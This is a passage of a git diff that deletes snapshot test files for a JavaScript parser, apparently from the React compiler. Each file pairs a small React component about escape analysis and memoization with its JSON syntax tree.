-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          109,
-                          110
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "push",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          111,
-                          115
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        109,
-                        115
-                      ]
-                    },
-                    "arguments": [
-                      {
-                        "type": "JSXElement",
-                        "openingElement": {
-                          "type": "JSXOpeningElement",
-                          "name": {
-                            "type": "JSXIdentifier",
-                            "name": "div",
-                            "loc": null,
-                            "range": [
-                              117,
-                              120
-                            ]
-                          },
-                          "attributes": [],
-                          "selfClosing": false,
-                          "loc": null,
-                          "range": [
-                            116,
-                            121
-                          ]
-                        },
-                        "children": [
-                          {
-                            "type": "JSXExpressionContainer",
-                            "expression": {
-                              "type": "Identifier",
-                              "name": "y",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                122,
-                                123
-                              ]
-                            },
-                            "loc": null,
-                            "range": [
-                              121,
-                              124
-                            ]
-                          }
-                        ],
-                        "closingElement": {
-                          "type": "JSXClosingElement",
-                          "name": {
-                            "type": "JSXIdentifier",
-                            "name": "div",
-                            "loc": null,
-                            "range": [
-                              126,
-                              129
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            124,
-                            130
-                          ]
-                        },
-                        "loc": null,
-                        "range": [
-                          116,
-                          130
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      109,
-                      131
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    109,
-                    132
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                49,
-                136
-              ]
-            },
-            "alternate": null,
-            "loc": null,
-            "range": [
-              42,
-              136
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                146,
-                147
-              ]
-            },
-            "loc": null,
-            "range": [
-              139,
-              148
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          22,
-          150
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        150
-      ],
-      "loc": null,
-      "range": [
-        0,
-        150
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    150
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@escape-analysis-logical.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@escape-analysis-logical.js.snap
deleted file mode 100644
index bd2e9d7451db..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@escape-analysis-logical.js.snap
+++ /dev/null
@@ -1,335 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/escape-analysis-logical.js
----
-Input:
-function Component(props) {
-  const a = [props.a];
-  const b = [props.b];
-  const c = [props.c];
-  // We don't do constant folding for non-primitive values (yet) so we consider
-  // that any of a, b, or c could return here
-  return (a && b) || c;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    37
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [
-                    {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "props",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          41,
-                          46
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          47,
-                          48
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        41,
-                        48
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    40,
-                    49
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  49
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              50
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "b",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    59,
-                    60
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [
-                    {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "props",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          64,
-                          69
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "b",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          70,
-                          71
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        64,
-                        71
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    63,
-                    72
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  59,
-                  72
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              53,
-              73
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "c",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    82,
-                    83
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [
-                    {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "props",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          87,
-                          92
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "c",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          93,
-                          94
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        87,
-                        94
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    86,
-                    95
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  82,
-                  95
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              76,
-              96
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "LogicalExpression",
-              "operator": "||",
-              "left": {
-                "type": "LogicalExpression",
-                "operator": "&&",
-                "left": {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    233,
-                    234
-                  ]
-                },
-                "right": {
-                  "type": "Identifier",
-                  "name": "b",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    238,
-                    239
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  233,
-                  239
-                ]
-              },
-              "right": {
-                "type": "Identifier",
-                "name": "c",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  244,
-                  245
-                ]
-              },
-              "loc": null,
-              "range": [
-                232,
-                245
-              ]
-            },
-            "loc": null,
-            "range": [
-              225,
-              246
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          248
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        248
-      ],
-      "loc": null,
-      "range": [
-        0,
-        248
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    248
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@escape-analysis-non-escaping-interleaved-allocating-dependency.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@escape-analysis-non-escaping-interleaved-allocating-dependency.js.snap
deleted file mode 100644
index e84c7c7c7487..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@escape-analysis-non-escaping-interleaved-allocating-dependency.js.snap
+++ /dev/null
@@ -1,378 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/escape-analysis-non-escaping-interleaved-allocating-dependency.js
----
-Input:
-function Component(props) {
-  // a can be independently memoized, is not mutated later
-  const a = [props.a];
-
-  // b and c are interleaved and grouped into a single scope,
-  // but they are independent values. c does not escape, but
-  // we need to ensure that a is memoized or else b will invalidate
-  // on every render since a is a dependency.
-  const b = [];
-  const c = {};
-  c.a = a;
-  b.push(props.b);
-
-  return b;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    95,
-                    96
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [
-                    {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "props",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          100,
-                          105
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          106,
-                          107
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        100,
-                        107
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    99,
-                    108
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  95,
-                  108
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              89,
-              109
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "b",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    356,
-                    357
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    360,
-                    362
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  356,
-                  362
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              350,
-              363
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "c",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    372,
-                    373
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    376,
-                    378
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  372,
-                  378
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              366,
-              379
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "=",
-              "left": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "c",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    382,
-                    383
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    384,
-                    385
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  382,
-                  385
-                ]
-              },
-              "right": {
-                "type": "Identifier",
-                "name": "a",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  388,
-                  389
-                ]
-              },
-              "loc": null,
-              "range": [
-                382,
-                389
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              382,
-              390
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "b",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    393,
-                    394
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "push",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    395,
-                    399
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  393,
-                  399
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "props",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      400,
-                      405
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "b",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      406,
-                      407
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    400,
-                    407
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                393,
-                408
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              393,
-              409
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "b",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                420,
-                421
-              ]
-            },
-            "loc": null,
-            "range": [
-              413,
-              422
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          424
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        424
-      ],
-      "loc": null,
-      "range": [
-        0,
-        424
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    424
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@escape-analysis-non-escaping-interleaved-allocating-nested-dependency.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@escape-analysis-non-escaping-interleaved-allocating-nested-dependency.js.snap
deleted file mode 100644
index 1055cbcaf64e..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@escape-analysis-non-escaping-interleaved-allocating-nested-dependency.js.snap
+++ /dev/null
@@ -1,436 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/escape-analysis-non-escaping-interleaved-allocating-nested-dependency.js
----
-Input:
-function Component(props) {
-  // a can be independently memoized, is not mutated later
-  // but a is a dependnecy of b, which is a dependency of c.
-  // we have to memoize a to avoid breaking memoization of b,
-  // to avoid breaking memoization of c.
-  const a = [props.a];
-
-  // a can be independently memoized, is not mutated later,
-  // but is a dependency of d which is part of c's scope.
-  // we have to memoize b to avoid breaking memoization of c.
-  const b = [a];
-
-  // c and d are interleaved and grouped into a single scope,
-  // but they are independent values. d does not escape, but
-  // we need to ensure that b is memoized or else b will invalidate
-  // on every render since a is a dependency. we also need to
-  // ensure that a is memoized, since it's a dependency of b.
-  const c = [];
-  const d = {};
-  d.b = b;
-  c.push(props.b);
-
-  return c;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    259,
-                    260
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [
-                    {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "props",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          264,
-                          269
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          270,
-                          271
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        264,
-                        271
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    263,
-                    272
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  259,
-                  272
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              253,
-              273
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "b",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    463,
-                    464
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [
-                    {
-                      "type": "Identifier",
-                      "name": "a",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        468,
-                        469
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    467,
-                    470
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  463,
-                  470
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              457,
-              471
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "c",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    796,
-                    797
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    800,
-                    802
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  796,
-                  802
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              790,
-              803
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "d",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    812,
-                    813
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    816,
-                    818
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  812,
-                  818
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              806,
-              819
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "=",
-              "left": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "d",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    822,
-                    823
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "b",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    824,
-                    825
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  822,
-                  825
-                ]
-              },
-              "right": {
-                "type": "Identifier",
-                "name": "b",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  828,
-                  829
-                ]
-              },
-              "loc": null,
-              "range": [
-                822,
-                829
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              822,
-              830
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "c",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    833,
-                    834
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "push",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    835,
-                    839
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  833,
-                  839
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "props",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      840,
-                      845
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "b",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      846,
-                      847
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    840,
-                    847
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                833,
-                848
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              833,
-              849
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "c",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                860,
-                861
-              ]
-            },
-            "loc": null,
-            "range": [
-              853,
-              862
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          864
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        864
-      ],
-      "loc": null,
-      "range": [
-        0,
-        864
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    864
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@escape-analysis-non-escaping-interleaved-primitive-dependency.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@escape-analysis-non-escaping-interleaved-primitive-dependency.js.snap
deleted file mode 100644
index 5d5c77fa320a..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@escape-analysis-non-escaping-interleaved-primitive-dependency.js.snap
+++ /dev/null
@@ -1,408 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/escape-analysis-non-escaping-interleaved-primitive-dependency.js
----
-Input:
-function Component(props) {
-  // a does not need to be memoized ever, even though it's a
-  // dependency of c, which exists in a scope that has a memoized
-  // output. it doesn't need to be memoized bc the value is a primitive type.
-  const a = props.a + props.b;
-
-  // b and c are interleaved and grouped into a single scope,
-  // but they are independent values. c does not escape, but
-  // we need to ensure that a is memoized or else b will invalidate
-  // on every render since a is a dependency.
-  const b = [];
-  const c = {};
-  c.a = a;
-  b.push(props.c);
-
-  return b;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    241,
-                    242
-                  ]
-                },
-                "init": {
-                  "type": "BinaryExpression",
-                  "left": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "props",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        245,
-                        250
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "a",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        251,
-                        252
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      245,
-                      252
-                    ]
-                  },
-                  "operator": "+",
-                  "right": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "props",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        255,
-                        260
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "b",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        261,
-                        262
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      255,
-                      262
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    245,
-                    262
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  241,
-                  262
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              235,
-              263
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "b",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    510,
-                    511
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    514,
-                    516
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  510,
-                  516
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              504,
-              517
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "c",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    526,
-                    527
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    530,
-                    532
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  526,
-                  532
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              520,
-              533
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "=",
-              "left": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "c",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    536,
-                    537
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    538,
-                    539
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  536,
-                  539
-                ]
-              },
-              "right": {
-                "type": "Identifier",
-                "name": "a",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  542,
-                  543
-                ]
-              },
-              "loc": null,
-              "range": [
-                536,
-                543
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              536,
-              544
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "b",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    547,
-                    548
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "push",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    549,
-                    553
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  547,
-                  553
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "props",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      554,
-                      559
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "c",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      560,
-                      561
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    554,
-                    561
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                547,
-                562
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              547,
-              563
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "b",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                574,
-                575
-              ]
-            },
-            "loc": null,
-            "range": [
-              567,
-              576
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          578
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        578
-      ],
-      "loc": null,
-      "range": [
-        0,
-        578
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    578
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@escape-analysis-not-conditional-test.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@escape-analysis-not-conditional-test.js.snap
deleted file mode 100644
index 5bbd18ef3465..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@escape-analysis-not-conditional-test.js.snap
+++ /dev/null
@@ -1,263 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
